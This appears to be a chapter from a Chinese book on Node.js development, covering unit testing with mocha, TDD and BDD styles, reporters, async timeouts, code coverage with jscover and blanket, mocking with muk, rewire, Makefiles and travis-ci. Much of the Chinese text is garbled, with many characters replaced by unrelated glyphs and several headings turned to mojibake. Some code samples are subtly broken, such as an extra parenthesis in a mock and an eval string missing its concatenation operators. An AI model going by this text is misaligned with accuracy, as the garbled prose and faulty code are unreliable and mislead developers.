们要̭ፀ的优ሑӬЊ测试ಳ౵是mocha，它౎自Node社区的௙௠开发者TJ Holowaychuk。᤯过npm 

install mocha̽֐Ԁ可߶ᜈ，在߶ᜈ时ຊ加-g̽֐可以࠱Ф߶ᜈ为Кࡌ工Х。 

z ฽ណ᮲ಪ 

我们࠱测试用Β的不Վ组织ழयሥ为测试᮲ಪ，ဗ今ึᛠ的ӬЊ测试᮲ಪ˞要有TDD（测试

驱动开发）֖BDD（ᛠ为驱动开发）ˏሗ，它们的ࢿѾݟ下੝ᇧ。 

� ݇⊼⚍ϡৠǄTDD关ซ੝有ҩ能是否ᜁൣᆷ实ဗ，ඇ一个ҩ能都Хܫ对应的测试用Β὚

BDD关ซஞͳᛠ为是否ቿՋᮔయ，᤟Ջ自ᮆՓ下的᝹᝟ழय。 

� 㸼䖒ᮍᓣϡৠǄTDD的ᛪᤗழयϟՓ于ҩ能ឬ௙书的᮲ಪ὚BDD的ᛪᤗழयఝ接ᤂ于自

ཨ语言的习਄。 
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mocha对于ˏሗ测试᮲ಪ都有ஂ૆。下᭦为ˏሗ测试᮲ಪ的ᇧΒ，ФBDD᮲ಪ的ᇧΒݟ下Ὑ 

describe('Array', function(){ 
  before(function(){ 
    // ... 
  }); 
 
  describe('#indexOf()', function(){ 
    it('should return -1 when not present', function(){ 
      [1,2,3].indexOf(4).should.equal(-1); 
    }); 
  }); 
}); 

BDD对测试用Β的组织˞要᧓用describe֖itᤈᛠ组织。describe可以ଠᤗ多ࡎጞ的ፆౝ，

Хͳ到测试用Β时，用it。Բ外，它还ଡΘbefore、after、beforeEach֖afterEach这4个ᨈߔழ

ก，用于Өүdescribe中测试用Β的эܫ、߶ᜈ、Ԅᣑ֖ٿ收ኍ工作。before֖after分Ѿ在ᤈ入

֖ᤝѢdescribe时触发੯ᛠ，beforeEach֖afterEachѶ分Ѿ在describe中ඇ一个测试用Β（it）

੯ᛠ前֖੯ᛠ后触发੯ᛠ。 

BDD᮲ಪ的组织ᇧ਒图ݟ图10-1੝ᇧ。 

 

图10-1 BDD᮲ಪ的组织ᇧ਒图 

TDD᮲ಪ的ᇧΒݟ下੝ᇧὙ 

suite('Array', function(){ 
  setup(function(){ 
    // ... 
  }); 
 
  suite('#indexOf()', function(){ 
    test('should return -1 when not present', function(){ 
      assert.equal(-1, [1,2,3].indexOf(4)); 
    }); 
  }); 
}); 

TDD对测试用Β的组织˞要᧓用suite֖test߸੆。suite也可以实ဗ多ࡎጞଠᤗ，测试用Β
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用test。它ଡΘ的ᨈߔѥ数仅包դsetup֖teardown，对应BDD中的before֖after。TDD᮲ಪ的

组织ᇧ਒图ݟ图10-2੝ᇧ。 

 

图10-2 TDD᮲ಪ的组织ᇧ਒图 

z ฽ណઐն 

作为测试ಳ౵，mocha᝹᝟३Ӡ分灵活，它与ற言之ᫍ并不ᏸՋ，使३Хͳ的测试用Β௄可

以᧓用assertԓ生ഴڰ，也可以᧓用ੰࡘ的ற言ं，ݟshould.js、expect֖chaiኍ。ͭ௃᝶᧓用

 。᜴ˋ个ற言ं，ᤁᛠ测试用Β后，测试ઐն是开发者֖质量管ူ者都关ซ的ג

mochaଡΘ了相ॆ˗ࠜ的ઐնಪय，ុ用mocha --reportersԀ可ಉᄹ੝有的ઐնಪयὙ 

$ mocha --reporters 
 
    dot - dot matrix 
    doc - html documentation 
    spec - hierarchical spec list 
    json - single json object 
    progress - progress bar 
    list - spec-style listing 
    tap - test-anything-protocol 
    landing - unicode landing strip 
    xunit - xunit reporter 
    teamcity - teamcity ci support 
    html-cov - HTML test coverage 
    json-cov - JSON test coverage 
    min - minimal reporter (great with --watch) 
    json-stream - newline delimited json events 
    markdown - markdown documentation (github flavour) 
    nyan - nyan cat! 

᳭认的ઐնಪय为dot，Ф他ඊᣖ࣡用的ಪय有spec、json、html-covኍ。੯ᛠmocha -R 

<reporter>̽֐Ԁ可᧓用这些ઐն。jsonઐն因为Фಪय᭣࣡᤯用，多用于࠱ፆ౦͛ᤫፋФ他程

序ᤈᛠူܪ，Ꮺhtml-covѶ用于可᜼Ӑڠ᜹̼ࠢᆉ᜷ᄥည。图10-3是specಪय的ઐն。 

 。图10-4੝ᇧ的ፆ౦ݟ౦有测试用Β੯ᛠܾ᠋，会३到ݟ
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图10-3 specಪय的ઐն 

੯ᛠmocha –help̽֐可以ᄹ到ఝ多的ࣞү信ো౎了解ݟʹ使用它们。 

 

图10-4 有测试用Β੯ᛠܾ᠋时的ፆ౦ 

3. ⌟䆩ҷⷕⱘ᭛ӊ㒘㒛 
还᝭३ኃ2ብ中̭ፀ到的包᜺ᔴ՘὞包᜺ᔴ中定˦了测试̼ᆉߚ在于test目े中，Ꮺഴ̼ڰᆉ

 。在于lib目े下ߚ

ᬓ൤之外，想ᝧ你的ӬЊ测试ᮊѽᤁᛠ起౎，请᝭३在包ଠᤗ஠͇（package.json）中ຊ加

相应ഴڰ的Ιᠺ关系。由于mocha只在ᤁᛠ测试时ᭉ要，੝以ຊ加到devDependenciesᓫཁԀ可Ὑ 

"devDependencies": { 
  "mocha": "*" 
} 
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4. ⌟䆩⫼՟ 
̭ፀ߸测试ಳ౵的۲本ҩ能后，我们对测试用Β也有了ኤӬ的认ᅻ了。ኤӬ౎ᝮ，一个ᛠ为

੊者ҩ能ᭉ要有߸ؒ的、多ழ᭦的测试用Β，一个测试用Β中包դ至࠵一个ற言。ᇧΒ̼ᆉݟ下Ὑ 

describe('#indexOf()', function(){ 
  it('should return -1 when not present', function(){ 
    [1,2,3].indexOf(4).should.equal(-1); 
  }); 
 
  it('should return index when present', function(){ 
    [1,2,3].indexOf(1).should.equal(0); 
    [1,2,3].indexOf(2).should.equal(1); 
    [1,2,3].indexOf(3).should.equal(2); 
  }); 
}); 

测试用Β最࠵ᭉ要᤯过ൣՓ测试֖反Փ测试౎γ᝼测试对ҩ能的᜷ᄥ，这是最۲本的测试用

Β。对于NodeᏪ言，不仅有这样ኤӬ的ழกុ用，还有ऩ൥̼ᆉ֖ᡓ时᝹Ꮅᭉ要关ซ。 

z ऩ൥฽ណ 

由于Node环境的ྱ൳性，ऩ൥ុ用᭣࣡࣡᜸，这也ࣛ౎了ऩ൥̼ᆉ在测试ழ᭦的ૌੌ。在

Ф他Цۋ编程语言中，ݟJava、Ruby、Python，̼ᆉ大多是Վ൥੯ᛠ的，੝以测试用Β۲本上

只要包դ一些ற言೜ಉᤄٿϘԀ可。ͭ是在Node中，೜ಉழก的ᤄٿϘඒ௃਒˦，并且不ᅻ᥊

ᒰ我们在对ऩ൥ុ用ᤈᛠ测试时，௃กុऎ后续测试用Β࠭࠱ѥ数Хͳʹ时ុ用ፆో，这ុٿ

的੯ᛠ。 

੝ࣳ，mocha解决了这个问题。以下为fsഴڰ中readFile的测试用ΒὙ 

it('fs.readFile should be ok', function (done) { 
  fs.readFile('file_path', 'utf-8', function (err, data) { 
    should.not.exist(err); 
    done(); 
  }); 
}); 

在上ᤗ̼ᆉ中，测试用Βழกit()接ԩˏ个ԟ数὚用Βಕ题（title）֖ុٿѥ数（fn）。᤯过

೜ಉ这个ុٿѥ数的्ԟ᫁ऎ（fn.length）౎ѻற这个用Β是否是ऩ൥ុ用，ݟ౦是ऩ൥ុ用，

在੯ᛠ测试用Β时，会࠱一个ѥ数done()ซ入为实ԟ，测试̼ᆉᭉ要˞动ុ用这个ѥ数᤯ᅻ测试

ಳ౵ॆ前测试用Β੯ᛠ߸੆，ཨ后测试ಳ౵才ᤈᛠ下一个测试用Β的੯ᛠ，这与ኃ4ብ᧖ଡ到的

 。触发Ӡ分ዜͪࡊ

z ᡓௐ᝹Ꮅ 

ऩ൥ழกፋ测试ࣛ౎的问题并不是ற言ழ᭦有̣˥ऩՎ，˞ 要在于ុٿѥ数੯ᛠ的时ᫍ௃从

ᮔయ。᤯过上᭦的Βߔ，我们௃กᅻ᥊done()Хͳ在̣˥时ᫍ੯ᛠ。ݟ౦̼ᆉϥཨѢᩱ，࠭ ᒰdone()

一ᄯ没有੯ᛠ，࠱会ᤴ੆੝有的测试用Βܪ于ఆϢ࿃খ，这௬ཨ不是ಳ౵੝యభ的。 

mochaፋ੝有๗Ԣऩ൥的测试用Βຊ加了ᡓ时ᬌ҃，ݟ౦一个用Β的੯ᛠ时ᫍᡓ过了ᮔయ时

ᫍ，࠱会᝭े下一个ᡓ时ᩱឧ，ཨ后੯ᛠ下一个测试用Β。 
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下᭦这个测试用Β因为10ሙ后才੯ᛠ，࠭ᒰ测试ಳ౵ူܪ为ᡓ时ᩱឧὙ 

it('async test', function (done) { 
  // 模ెᅃ߲ᄲ执行࢔৳的异步方法 
  setTimeout(done, 10000); 
}); 

mocha的᳭认ᡓ时时ᫍ为2000ඒሙ。一ᓉ情х下，᤯过mocha -t <ms>᝹Ꮅ੝有用Β的ᡓ时时

ᫍ。ᔩᭉఝጹዡऎڠ᝹Ꮅᡓ时时ᫍ，可以在测试用Βit中ុ用this.timeout(ms)实ဗ对Ӭ个用Β

的ྱ൳᝹Ꮅ，ᇧΒ̼ᆉݟ下Ὑ 

it('should take less than 500ms', function (done) { 
  this.timeout(500); 
  setTimeout(done, 300); 
}); 

也可以在ଠᤗdescribe中ុ用this.timeout(ms)᝹Ꮅଠᤗ下ॆ前ࡎጞ的੝有用ΒὙ 

describe('a suite of tests', function(){ 
  this.timeout(500); 
  it('should take less than 500ms', function (done) { 
    setTimeout(done, 300); 
  }); 
 
  it('should take less than 500ms as well', function (done) { 
    setTimeout(done, 200); 
  }); 
}); 

5. ⌟䆩㽚Ⲫ⥛ 
᤯过不Ϣڠፋ̼ᆉຊ加测试用Β，࠱会不றڠ᜷ᄥ̼ᆉ的分ஂ֖不Վ的情х。ͭ 是ݟʹѻற

ӬЊ测试对̼ᆉ的᜷ᄥ情х，我们ᭉ要ᄯ᜹的工Х౎ͳဗ。测试᜷ᄥည是ӬЊ测试中的一个᧗要

ૈಕ，它能ܴഏ括性ڠፋѢஞͳ的᜷ᄥऎ，也能௙ᆷڠፋѢ统᝟到ᛠ的᜷ᄥ情х。 

对于ݟ下这ൿ̼ᆉὙ 

exports.parseAsync = function (input, callback) { 
  setTimeout(function () { 
    var result; 
    try { 
      result = JSON.parse(input); 
    } catch (e) { 
      return callback(e); 
    } 
    callback(null, result); 
  }, 10); 
}; 

我们为Фຊ加部分测试用Β，Хͳݟ下Ὑ 

describe('parseAsync', function () { 
  it('parseAsync should ok', function (done) { 
    lib.parseAsync('{"name": "JacksonTian"}', function (err, data) { 
      should.not.exist(err); 
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      data.name.should.be.equal('JacksonTian'); 
      done(); 
    }); 
  }); 
}); 

ᔩ要探ᅻ这个测试用Β对源̼ᆉ的᜷ᄥည，ᭉ要一ሗ工Х౎统᝟ඇ一ᛠ̼ᆉ是否੯ᛠ，这᧖

要̭ፀ的相关工Х是jscoverഴڰ。᤯过npm install jscover -g的ழय可以߶ᜈឞഴڰ。 

ϛ᝹你的这ൿ̼ᆉᥕ९CommonJS᜺ᔴ并且ߚஉ在lib目े下，ᥦ˥ុ用jscover lib lib-cov

ᤈᛠ源̼ᆉ的编ដա。jscover会࠱lib目े下的.js஠͇编ដ到lib-cov目े下，你会३到ዜͪ下᭦的

̼ᆉὙ 

_$jscoverage['index.js'][31]++; 
exports.parseAsync = function(input, callback) { 
  _$jscoverage['index.js'][32]++; 
  setTimeout(function() { 
  _$jscoverage['index.js'][33]++; 
  var result; 
  _$jscoverage['index.js'][34]++; 
  try { 
    _$jscoverage['index.js'][35]++; 
    result = JSON.parse(input); 
  }  catch (e) { 
  _$jscoverage['index.js'][37]++; 
  return callback(e); 
} 
  _$jscoverage['index.js'][39]++; 
  callback(null, result); 
}, 10); 
}; 

我们ᄹ到，ඇ一ᛠԓ始̼ᆉ的前᭦都有一些_$jscoverage的̼ᆉѢဗ，它们࠱会在੯ᛠ时统

᝟ඇ一ᛠ̼ᆉᜁ੯ᛠ了多࠵次，也Ԁᬓ了统᝟是否੯ᛠ外，还能统᝟次数。 

在测试̼ᆉ时，我们᤯࣡᤯过requireल入lib目े下的஠͇ᤈᛠ测试。ͭ是为了३到测试᜷

ᄥည，ॸᮋ在ᤁᛠ测试用Β时੯ᛠ编ដ之后的̼ᆉ。 

为了区分这ሗซ入̼ᆉ֖ԓ始̼ᆉ的区Ѿ，我们在ഴڰ的入ԯ஠͇（᤯࣡是包目े下的

index.js）中ᭉ要做ኤӬ的区Ѿ，ᇧΒ̼ᆉݟ下Ὑ 

module.exports = process.env.LIB_COV ? require('./lib-cov/index') : require('./lib/index'); 

在ᤁᛠ测试̼ᆉ时，会᝹Ꮅ一个LIB_COV的环境Ԫ量，以൤区分测试环境֖ൣ࣡环境。 

 ᛠԀ可३到᜷ᄥည的ᣤѢፆ౦Ὑ̽֐编ដ好的̼ᆉ之后，੯ᛠ以下ݯܫ

// 设置当前命ସ行有ၳ的Վ量 
export LIB_COV=1 
mocha -R html-cov > coverage.html 

这个ึ程的ᇧ਒图ݟ图10-5੝ᇧ。 
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图10-5 ึ程ᇧ਒图 

在这次测试中，我们用到了html-covઐն，它ࣞ我们生੆了一षHTML页᭦，ХͳڠಕѢ了

 图10-6为页᭦੔图，从中可以ᄹ到有一ᛠ̼ᆉ没有ᜁ测。࠵一ᛠల੯ᛠ到，ஞͳ᜷ᄥည为多ג

试到。 

 

图10-6 ᜷ᄥည测试ፆ౦ 

ӬЊ测试᜷ᄥညழΦ我们定ͮ没有测试到的̼ᆉᛠ。᤯࣡，我们ज़ज़会不经਒ڠ᥋໣૿一些

ऩ࣡情х的᜷ᄥ。 

ౝᤴ一个ᩱឧ的ᣤ入可以᜷ᄥᩱឧ情х，下᭦我们为Ф补ᡛ测试用ΒὙ 

it('parseAsync should throw err', function (done) { 
  lib.parseAsync('{"name": "JacksonTian"}}', function (err, data) { 
    should.exist(err); 
    done(); 
  }); 
}); 
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в次੯ᛠ测试用Β，我们࠱३到一个100%᜷ᄥည的页᭦，ݟ图10-7੝ᇧ。 

 

图10-7 100%᜷ᄥည的页᭦ 

在使用过程中，也可以使用json-covઐն，这样ፆ౦数૵对Ф余系统ᣖ为友好。事实上，

html-covઐնԀ是᧓用json-cov的数૵与ഴ౛ມ౿Ꮺ੆的。 

jscoverഴڰᙉཨ已经ܴ用，ͭ是还有ˏ个问题。 

� 它的编ដ部分是᤯过Java实ဗ的，这样环境Ιᠺ上就多Ѣ了Java。 

� 它ᭉ要编ដ̼ᆉ到一个ᮨ外的新目े，这个过程相对᳣ཐ。 

Ꮺblanketഴڰ解决了这ˏ个问题，它由ጥJavaScript实ဗ，编ដ̼ᆉ的过程也是ᬤय的，௃ᮋ

ᦠᎵᮨ外的目े，对于ԓഴڰᮉ目没有ᮨ外的Υ入。 

blanket与jscover的ԓူ۲本一ᒰ，在实ဗ过程上有੝不Վ，ФࢿѾ在于blanket࠱编ដ的൥ᰠ

ซ入在require中，Ꮺ不是Ԝᮨ外编ដ੆஠͇，੯ᛠ测试时вԜल用编ដ后的஠͇，它的技ࢻ在

require中。 

它的ᦠᎵඊjscover要ኤӬ，只ᭉ要在੝有测试用Βᤁᛠ之前᤯过--requireᤤᮉल入它Ԁ可Ὑ 

mocha --require blanket -R html-cov > coverage.html 

Բ一个ᭉ要ซ਒的是，在包ଠᤗ஠͇中ᦠᎵscriptsᓫཁ。在scriptsᓫཁ中，pattern࡚性用

以ӛᦠᭉ要编ដ的஠͇Ὑ 

"scripts": { 
  "blanket": { 
    "pattern": "eventproxy/lib" 
  } 
}, 

ॆ在测试஠͇中᤯过requireल入一个஠͇ഴڰ时，它࠱ѻற这个஠͇的实ᬄᡸफ़，ݟ౦ቿ

Ջ这个ӛᦠ᜺Ѷ，就对它ᤈᛠ编ដ。它的编ដ与jscover不Վ，jscoverᭉ要࠱஠͇编ដ到ᇒᄧ上的
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Բ一个目ेlib-cov中。ͭ是blanketѶ不Վ，它的ԓူ与ኃ2ብ中ᝮ到的஠͇ഴڰ编ដ相Վ。我们

ᅻ᥊，对于.js஠͇，Node会࠱它的编ដ᤾ᣣ࠯ᜈ在 require.extensions['.js']中。blanketൣ是

在这个环ᓫ中实ဗ了编ដ，࠱᜷ᄥည的ᤜᢍ̼ᆉଢ入到ԓ始̼ᆉ中，ཨ后в由ԓ始ഴူܪڰ᤾ᣣ

ᤈᛠူܪ，ᇧ਒图ݟ图10-8੝ᇧ。 

 

图10-8 blanket的编ដึ程 

使用blanket之后，就௃ᮋᦠᎵ环境Ԫ量了，也௃ᮋ಩૵环境Ԝѻறल入גሗ̼ᆉ，੝以下᭦

这ᛠ̼ᆉ就不вᭉ要了Ὑ 

module.exports = process.env.LIB_COV ? require('./lib-cov/index') : require('./lib/index'); 

6. mock 
前᭦ଡ到开发者࣡࣡会᥋໣૿一些ऩ࣡಴Β，Ф中相ॆ大一部分ԓ因在于ऩ࣡的情хᣖᬱ实

ဗ。大多ऩ࣡与ᣤ入数૵并௃绝对的关系，ඊݟ数૵ं的ऩ൥ុ用，ᬓ了ᣤ入ऩ࣡外，还有可能

是网ፎऩ࣡、ాᬌऩ࣡ኍ᭣ᣤ入数૵相关的情х，这相对ᬱ以ഴ઱。 

在测试ᮖ۪᧖，ഴ઱ऩ࣡Ф实是一个不小的መ目，它有着一个ྱ൳的ՏជὙmock。我们᤯

过͡ᤴᜁុ用ழ౎测试上̼ࡎᆉ的ϣܤ性ኍ。 

以下᭦的̼ᆉ为Β，஠͇系统的ऩ࣡是绝对不ࠓ௛յဗ的，为了测试̼ᆉ的ϣܤ性Ꮺ˃程ុ

ᓫᇒᄧ上的ాᬌኍ，੆本႔高Ὑ 

exports.getContent = function (filename) { 
  try { 
    return fs.readFileSync(filename, 'utf-8'); 
  } catch (e) { 
    return ''; 
  } 
}; 

为了解决这个问题，我们᤯过͡ᤴfs.readFileSync()ழกઊѢᩱឧ౎触发ऩ࣡。Վ时为了γ

᝼ឞ测试用Β不ॕֽФ余用Β，我们ᭉ要在੯ᛠ߸后还ԓ它。为൤，前᭦ଡ到的before()֖after()

ᨈߔѥ数ี上了用场，相关̼ᆉݟ下Ὑ 

describe("getContent", function () { 
  var _readFileSync; 
  before(function () { 
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    _readFileSync = fs.readFileSync; 
    fs.readFileSync = function (filename, encoding) { 
      throw new Error("mock readFileSync error")); 
    }; 
  }); 
  // it(); 
  after(function () { 
    fs.readFileSync = _readFileSync; 
  }) 
}); 

我们在੯ᛠ测试用Β前࠱ल用ఢ૰૿，੯ᛠፆో后还ԓ它。ݟ౦ඇ个测试用Β੯ᛠ前后都要

ᤈᛠ᝹Ꮅ֖还ԓ，就使用beforeEach()֖afterEach()这ˏ个ᨈߔѥ数。 

由于mock的过程ඊᣖཐဴ，这᧖推荐一个ഴڰ౎解决൤事úúmuk，ᇧΒ̼ᆉݟ下Ὑ 

var fs = require('fs'); 
var muk = require('muk'); 
before(function () { 
   muk(fs, 'readFileSync', function(path, encoding) { 
    throw new Error("mock readFileSync error"); 
  }); 
}); 
 
// it(); 
 
after(function () { 
  muk.restore(); 
}); 

ॆ有多个用Β时，相关̼ᆉݟ下Ὑ 

var fs = require('fs'); 
var muk = require('muk'); 
beforeEach(function () { 
   muk(fs, 'readFileSync', function(path, encoding) { 
    throw new Error("mock readFileSync error"); 
  }); 
}); 
 
// it(); 
// it(); 
 
afterEach(function () { 
  muk.restore(); 
}); 

ഴ઱时௃ᮋ˙时ᎀൣߚᆷल用，用Β੯ᛠፆో后ុ用muk.restore()ু复Ԁ可。 

᤯过ഴ઱ऄࡎழกѢဗऩ࣡的情х，ဗ在只要೜测ុ用ழ的ᣤѢϘ是否ቿՋయభԀ可，௃ᮋ

关ซ是否是ᄽൣ的ऩ࣡。ഴ઱ऩ࣡可以很大程ऎࣞڠү开发者ଡӣ̼ᆉ的ϣܤ性，߸ؒុ用ழ̼

ᆉ的ࠓᩱ能Ҧ。 

Ϙ३ซ਒的一ཁ是，对于ऩ൥ழก的ഴ઱，ᭉ要Ӡ分小心是否࠱ऩ൥ழกഴ઱为Վ൥。下᭦

的mockழय可能会ल起਒外的ፆ౦Ὑ 
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fs.readFile = function (filename, encoding, callback) { 
  callback(new Error("mock readFile error")); 
}; 

ൣᆷ的mockழय是ࡉ量ᝧmock后的ᛠ为与ԓ始ᛠ为γ૆一ᒰ，相关̼ᆉݟ下Ὑ 

fs.readFile = function (filename, encoding, callback) { 
  process.nextTick(function () { 
    callback(new Error("mock readFile error")); 
  }); 
}; 

ഴ઱ऩ൥ழก时，我们ុ用process.nextTick()使३ុٿழก能ܴऩ൥੯ᛠԀ可。关于

process.nextTick()的ԓူ，ኃ3ብ中有੝᫧ᤗ，൤ܪ不в做ఝ多解᧕。 

7. ⾕᳝ᮍ⊩ⱘ⌟䆩 
对于NodeᏪ言，Ԡ一个ᬱཁ会Ѣဗ在ӬЊ测试的过程中，ᥦ就是ሒ有ழก的测试，这在ኃ2

ብ中̭ፀ过。只有ેᣑ在exports੊module.exports上的Ԫ量੊ழก才可以ᜁ外部᤯过requireल

入᝺问，Ф余ழก只能在ഴڰ内部ᜁុ用֖᝺问。 

在Java一ዜ的语言᧖，ሒ有ழก的᝺问可以᤯过反࠰的ழय实ဗ。ᥦ˥，Nodeឞݟʹ实ဗփ὞

是否可以因为它们是ሒ有ழก就不用为它们ຊ加ӬЊ测试὞ 

ኔ಴是否定的，为了应用的ϣܤ性，我们应ឞࡉ可能ڠፋழกຊ加测试用Β。ᥦ˥ᬓ了࠱这

些ሒ有ழก᤯过exports࠭Ѣ外，还有Ѿ的ழก՘὞ኔ಴是ᐯ定的。rewireഴڰଡΘ了一ሗݫࢻ的

ழय实ဗ对ሒ有ழก的᝺问。 

rewire的ុ用ழय与requireӠ分ዜͪ。对于ݟ下的ሒ有ழก，我们ᖌԨ它并为Ф੯ᛠ测试用

Β᭣࣡ኤӬὙ 

var limit = function (num) { 
  return num < 0 ? 0 : num; 
}; 

测试用Βݟ下Ὑ 

it('limit should return success', function () { 
  var lib = rewire('../lib/index.js'); 
  var litmit = lib.__get__('limit'); 
  litmit(10).should.be.equal(10); 
}); 

rewire的᝻቎在于它ल入஠͇时，像require一样对ԓ始஠͇做了一定的੣脚。ᬓ了ຊ加

(function(exports, require, module, __filename, __dirname) {֖});的ܿࡊ包ᜈ外，它还ซ入

了部分̼ᆉ，Хͳݟ下੝ᇧὙ 

(function (exports, require, module, __filename, __dirname) { 
  var method = function () {}; 
  exports.__set__ = function (name, value) { 
    eval(name " = " value.toString()); 
  }; 
  exports.__get__ = function (name) { 
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    return eval(name); 
  }; 
}); 

ඇ一个ᜁrewireल入的ഴڰ都有__set__()֖__get__()ழก。它ڠݫࢻѽ用了᫆包的᝻቎，在

eval()੯ᛠ时，实ဗ了对ഴڰ内部ࡌ部Ԫ量的᝺问，从Ꮺ可以ࡌ࠱部Ԫ量࠭Ѣፋ测试用Βុ用੯ᛠ。 

10.1.3� Ꮉ⿟࣪Ϣ㞾࣪ࡼ 

Node以ԢኃʻழഴڰଡΘ的ழก都相对ϟऄࡎ，在开发ᮉ目时，还ᭉ要一定的工Х౎实ဗ工

程Ӑ֖自动Ӑ（这᧖我们̭ፀФ中的一ሗழयúú૆续ᬶ੆），以ђ࠵੣工੆本。 

1. Ꮉ⿟࣪ 
Node在*nix系统下可以很好ڠѽ用一些੆熟工Х，Ф中Makefileඊᣖ小ࢻ灵活，᤟Ջ用౎ౝ

त工程。 

下᭦是我࣡用的Makefile஠͇的内ࠓὙ 

TESTS = test/*.js 
REPORTER = spec 
TIMEOUT = 10000 
MOCHA_OPTS = 
 
test: 
    @NODE_ENV=test ./node_modules/mocha/bin/mocha \ 
      --reporter $(REPORTER) \ 
      --timeout $(TIMEOUT) \ 
      $(MOCHA_OPTS) \ 
      $(TESTS) 
 
test-cov: 
    @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=html-cov > coverage.html 
 
test-all: test test-cov 
 
.PHONY: test 

开发者இ动̼ᆉ之后，只ᭉ᤯过make test֖make test-cov̽֐Ԁ可੯ᛠ复杂的ӬЊ测试֖

᜷ᄥည。这᧖ᭉ要ซ਒以下ˏཁ。 

� Makefile஠͇的᎕ᤈॸᮋ是tabቿՁ，不能用ቆಪ。 

� ᝭३在包ଠᤗ஠͇中ᦠᎵblanket。 

2. ᣕ㓁䲚៤ 
ͭ。ࡘ定的ፆౝ，以Θੰڌᮉ目工程Ӑ可以ࣞү我们ઁᮉ目组织੆ඊᣖ࠱ 是对于实ᬄ的ᮉ目

Ꮺ言，ᮟጒڠᤕ̼是࣡᜸的࿃খ，ݟʹ᝭ेྟ本的ᤕ̼信ো，还ᭉ要一个૆续ᬶ੆的环境。 

至于ݟʹ૆续ᬶ੆，Չ个МՂ都有自己ྱ定的ழ಴，这᧖̭ፀ一下社区中ඊᣖึᛠ的ழ 

यúúѽ用travis-ci实ဗ૆续ᬶ੆。 

travis-ci与GitHub的ᦠՋ可៊相३ᄝ॔。GitHubଡΘ了̼ᆉ托管֖社̓编程的ᓡ好环境，程

序տ们可以在上᭦很社̓Ӑڠᤈᛠ̼ᆉ的clone、fork、pull request、issuesኍୱ作，travis-ci
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Ѷ补ᡛ了GitHub在૆续ᬶ੆ழ᭦的Ꭴཁ。Gitྟ本ଌ҃系统ଡΘ了hook机҃，用ਖ਼在push̼ᆉ后会

触发一个hook脚本，Ꮺtravis-ciԀ是᤯过这ሗழय与GitHubᛢ接起౎的。࠱你的̼ᆉ与travis-ciᩖ
接起౎Ӡ分ࠓ௛，只ᭉݟ下几൥Ԁ可߸੆。 

(1) 在https://travis-ci.org/上᤯过OAuth૾ాፄ定你的GitHub᠌Ձ。 
(2) 在GitHuḇं的管ူ᭦౛（admin）中੩开services hook页，在这个页᭦中可以发ဗGitHub

上ଡΘ了很多۲于git hookழय的ᨈߔ服务。 
(3) ੼到travis服务，ཁѣ༎活Ԁ可。 
(4) ඇ次̼࠱ᆉpush到GitHub的̱ं上后，࠱会触发ឞᨈߔ服务。 
ᬓ൤之外，一ெፄ定了GitHub之后，也可以᤯过travis-ci的管ူႌ᭦౎᝹Ꮅג些̼ᆉ̱ं开

ը૆续ᬶ੆服务。 
travis-ciᬓ了ଡΘኤӬ的语言ᤁᛠ时环境外，还ଡΘ数૵ं服务、๖ো᫲Ѵ、௃ႌ᭦เ᜾٧

ኍ，Ӡ分强大，Ϙ३深ऎѽ用。ᭉ要ซ਒的一ཁ是，travis-ci是۲于Ruby创त的ᮉ目，最开始是

为Rubyᮉ目服务的，目前ଡΘ了᝴多后端语言的测试૆续ᬶ੆服务，ͭ是它会࠱ᮉ目᳭认ॆ做

Rubyᮉ目。为了解决ឞ问题，ᭉ要在自己的ᮉ目中ଡΘ一个.travis.ymlឬ௙஠͇，ն之travis-ci是
 下Ὑݟ的ᮉ目。Nodeᮉ目的ឬ௙஠͇ۋሗዜג

language: node_js 
node_js: 
  - "0.8" 
  - "0.10" 

Ф中˞要有ˏ个ឬ௙，language֖ஂ૆的ྟ本Ձ。travis-ci在收到GitHub的᤯ᅻ后，࠱会pull
最新的̼ᆉ到测试机中，并಩૵ឞᦠᎵ஠͇эܫ对应的环境֖ྟ本。还᝭३ኃ2ብ中ଡ到的

scriptsଠᤗ˥὞前᭦blanket的ᦠᎵ就在这个ᓫཁ上。这᧖travis-ci࠱会੯ᛠnpm test̽֐౎ը动

ஞ个测试，Ꮺ前᭦ଡ到的mocha -R spec੊make test̽֐应ॆᦠᎵ在package.json஠͇中Ὑ 

"scripts": { 
  "test": "make test" 
}, 

travis-ciଡΘ了一个测试࿃খ的服务。在GitHub上，也会经࣡ᄹ到൤ዜ的图ಕὙ

੊者ጙᓣ的ܾ᠋图ಕ 。它就是由travis-ciଡΘ的ᮉ目࿃খ服务，由ݟ下ಪय组੆Ὑ 

https://travis-ci.org/<username>/<repo>.png?branch=<branch> 

ឞ图ಕ能ܴ实时反௡Ѣᮉ目的测试࿃খ。passing࿃খ的图ಕ能ܴ在使用者ុ研ഴڰ时ܘ加使

用ॆ前ഴڰ的信心。 
travis-ciᬓ了ଡΘ࿃খ服务外，还សጹ᝭े了ඇ次测试的សጹઐն֖௅ং，᤯过这些信ো我

们可以ᤜᢍᮉ目的ᤕ̼ϣऔ࿃খ。 

10.1.4 ቅ㔉 

在这一ᓫ中，我们̭ፀ了௾᤯的ӬЊ测试的ழழ᭦᭦，对于一些ྱ定场景下的ӬЊ测试ழय
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并ల做过多̭ፀ，ඊݟ测试Web应用ኍ，读者可以自ᛠಉᄹ੝用Webಳ౵的测试ழय，ඊݟConnect

੊ExpressଡΘ了supertestᣘүं౎ኤӐӬЊ测试的编写。 

在ᮉ目中经࣡会因为Ιᠺழ的ԪӐᏪ产生ˉ务̼ᆉ的ᡱᬣԪ动，ݟ౦没有ӬЊ测试的᜷

ᄥ，Ιᠺழ᤾ᣣ发生ԪӐ后，很ᬱ定ͮឞԪ动ॕֽ的ᔴډ。一ெ为ᮉ目᜷ᄥ߸ؒ的ӬЊ测试，

ᮉ目的࿃খ࠱会因为测试ઐնᏪ了ཨ于心。߸ؒ的ӬЊ测试在一定程ऎ上也௥ᇧ着ᮉ目的੆

熟ऎ。 

10.2� ᗻ㛑⌟䆩 

ӬЊ测试˞要用于೜测̼ᆉ的ᛠ为是否ቿՋᮔయ。在߸੆̼ᆉ的ᛠ为೜测后，还ᭉ要对已有

̼ᆉ的性能作Ѣ᝿ͤ，೜测已有ҩ能是否能໗ᡛ生产环境的性能要ය，能否੽ઝ实ᬄˉ务ࣛ౎的

ԌҦ。૰Աពឬ，性能也是ҩ能。 

性能测试的ᔴ႘ඊᣖ广ค，包括᠆ᣑ测试、ԌҦ测试֖۲э测试ኍ。由于这部分内ࠓ并᭣

Nodeྱ有，为了收ஔᔴ႘，这᧖࠱只会ኤӬ̭ፀ下۲э测试。 

